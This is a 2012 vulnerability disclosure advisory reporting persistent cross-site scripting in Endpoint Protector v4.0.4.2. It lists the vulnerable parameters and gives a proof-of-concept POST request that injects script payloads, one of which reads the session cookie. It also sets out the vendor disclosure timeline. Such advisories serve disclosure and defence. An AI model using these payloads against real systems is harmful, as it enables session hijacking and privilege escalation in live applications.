Advisory Name: Multiple Persistent Cross-Site Scripting (XSS) in Endpoint Protector

Internal Cybsec Advisory Id: 2012-1029-Multiple Persistent XSS in Endpoint Protector

Vulnerability Class: Permanent Cross-Site Scripting (XSS)

Release Date: 10/29/2012

Affected Applications: Endpoint Protector v4.0.4.2; other versions may also be affected.

Affected Platforms: Any running Endpoint Protector v4.0.4.2

Local / Remote: Remote

Severity: High – CVSS: 5.8 (AV:N/AC:M/Au:NR/C:N/I:P/A:P)

Researcher: Juan Manuel Garcia

Vendor Status: Acknowedged / Unpatched

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

Multiple Persistent Cross-Site vulnerabilities were found in Endpoint Protector v4.0.4.2 [Virtual Appliance], because the application fails to sanitize the response before it is returned to the user. This can be exploited to execute arbitrary script and HTML code in a user's browser session. This may allow the attacker to steal the user's cookie and to launch further attacks.

The parameters "client_device[name]" and "client_device[description]" in /index.php/clientdevice/create are not properly sanitized.

The parameters "client_machine[name]", "client_machine[domain]", "client_machine[workgroup]" and "client_machine[location]" in /index.php/clientmachine/create are not properly sanitized.

The parameter "group[name]" in /index.php/mgroup/create is not properly sanitized.

Other parameters might also be affected.

Proof of Concept:

* The parameter "client_device[name]" in the POST request has been set to:
<script>alert(document.cookie)</script>

* The parameter "client_device[description]" in the POST request has been set to:

<script>alert(1)</script>

POST /index.php/clientdevice/create HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://xxx.xxx.xxx.xxx/index.php/
Cookie: place=clientdevice; mark=clientdevice; ratool=d4d3242c4444254d035b7f797738837e
Content-Type: multipart/form-data; boundary=--------------------------
177234406417777188068824226 24
Content-Length: 1131

----------------------------177234406417777188068824226 24

Content-Disposition: form-data; name="id"

----------------------------177234406417777188068824226 24

Content-Disposition: form-data; name="client_device[department_id]"

1

----------------------------177234406417777188068824226 24

Content-Disposition: form-data; name="client_device[device_type_id]"

1

----------------------------177234406417777188068824226 24

Content-Disposition: form-data; name="client_device[name]"

<script>alert(document.cookie)</script>

----------------------------177234406417777188068824226 24

Content-Disposition: form-data; name="client_device[description]"

<script>alert(1)</script>

----------------------------177234406417777188068824226 24

Content-Disposition: form-data; name="client_device[vid]"

----------------------------177234406417777188068824226 24

Content-Disposition: form-data; name="client_device[pid]"

----------------------------177234406417777188068824226 24

Content-Disposition: form-data; name="client_device[serialno]"

----------------------------177234406417777188068824226 24--

Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.
In this particular case, any user with permission to access the administration console could gain "super admin" privileges by stealing the session cookie of another user with this permission.

Vendor Response:

2012/03/27 - Vulnerability was identified
2012/03/29 - Cybsec sent detailed information on the issue and a Proof of Concept to the vendor
2012/04/04 - Vendor confirmed vulnerability (Request ID - 10006599) and stated “The problems encountered do not represent a significant threat for customers using it because it is usually done with no Internet connection”
2012/04/05 - Vendor stated “we planned an official release of the new patch to include all the fixes for mentioned vulnerabilities for the date of 18 of September 2012”
2012/09/25 – Cybsec asked the vendor if the update had been released on the planed date
2012/09/26 – Vendor stated that he would check the status of the report [Ticket#2012092510000057]
2012/10/03 – Vendor gave us a new deadline: up to 3-4 months.
2012/10/24 – Vendor asked if we had published the security advisory
2012/10/24 – Cybsec stated that the security advisory was going to be published on October 29
2012/10/29 – Vulnerability was released

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
jmgarcia <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996, **CYBSEC** is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com